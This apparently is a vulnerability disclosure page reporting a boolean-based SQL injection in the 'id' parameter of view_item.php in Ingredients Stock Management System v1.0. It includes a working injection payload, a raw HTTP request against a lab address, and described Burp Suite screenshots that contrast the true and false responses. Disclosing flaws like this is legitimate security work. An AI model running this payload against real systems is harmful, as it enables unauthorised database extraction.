

master ▾

...

[vul-wiki](#) / [vendors](#) / [oretnom23](#) / [ingredients-stock-management-system](#) / [SQLi-12.md](#)

debug601 Create SQLi-12.md

[History](#)[1 contributor](#)

30 lines (21 sloc) | 1.17 KB

...

# Ingredients Stock Management System v1.0 by oretnom23 has SQL injection

vendors: <https://www.sourcecodester.com/php/15364/ingredients-stock-management-system-phpoop-free-source-code.html>

Vulnerability File: /isms/admin/items/view\_item.php

Vulnerability location: /isms/admin/items/view\_item.php, id

db\_name = isms\_db;length=7

[+] Payload: isms/admin/items/view\_item.php?

id=3%27%20and%20length(database())%20=%207--+ // Leak place ---> id

```
GET /isms/admin/items/view_item.php?id=4%27%20and%20length(database())%20=%207--+ HT
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: _ga=GA1.1.1382961971.1655097107; PHPSESSID=2m880botn1u43hd2gu23ttj4ug
Connection: close
```

## When length (database ()) = 7

The screenshot shows the Burp Suite interface. The top menu bar includes: INT, SQL BASICS, UNION BASED, ERROR/DOUBLE QUERY, TOOLS, WAF BYPASS, ENCODING, HTML, ENCRYPTIO. The left sidebar has buttons: Load URL, Split URL, and Execute. The main text area contains the URL: `http://192.168.1.19/isms/admin/items/view_item.php?id=4' and length(database()) = 7--+|`. Below the text area are checkboxes for Post data and Referrer, and buttons for 0xHEX, %URL, and BASE64. A button labeled "Insert string to replace" is visible. Below the main area, the response is displayed in a structured format:

Category  
Seasoning  
Name  
Black Pepper (Powder)  
Unit  
Pack  
Description  
Praesent posuere tortor sit amet faucibus commodo. Ut luctus sem sit amet turpis ullamcorper, ut ultricies tortor sollicitud  
Status  
Active

A "Close" button is located at the bottom left of the response area.

## When length (database ()) = 6

The screenshot shows the Burp Suite interface. The top menu bar includes: INT, SQL BASICS, UNION BASED, ERROR/DOUBLE QUERY, TOOLS, WAF BYPASS, ENCODING, HTML, ENCRYPTIO. The left sidebar has buttons: Load URL, Split URL, and Execute. The main text area contains the URL: `http://192.168.1.19/isms/admin/items/view_item.php?id=4' and length(database()) = 6--+`. Below the text area are checkboxes for Post data and Referrer, and buttons for 0xHEX, %URL, and BASE64. A button labeled "Insert string to replace" is visible. Below the main area, the response is displayed in a structured format:

item ID is not valid.

A button labeled "确定" (Determine) is located at the bottom right of the response area.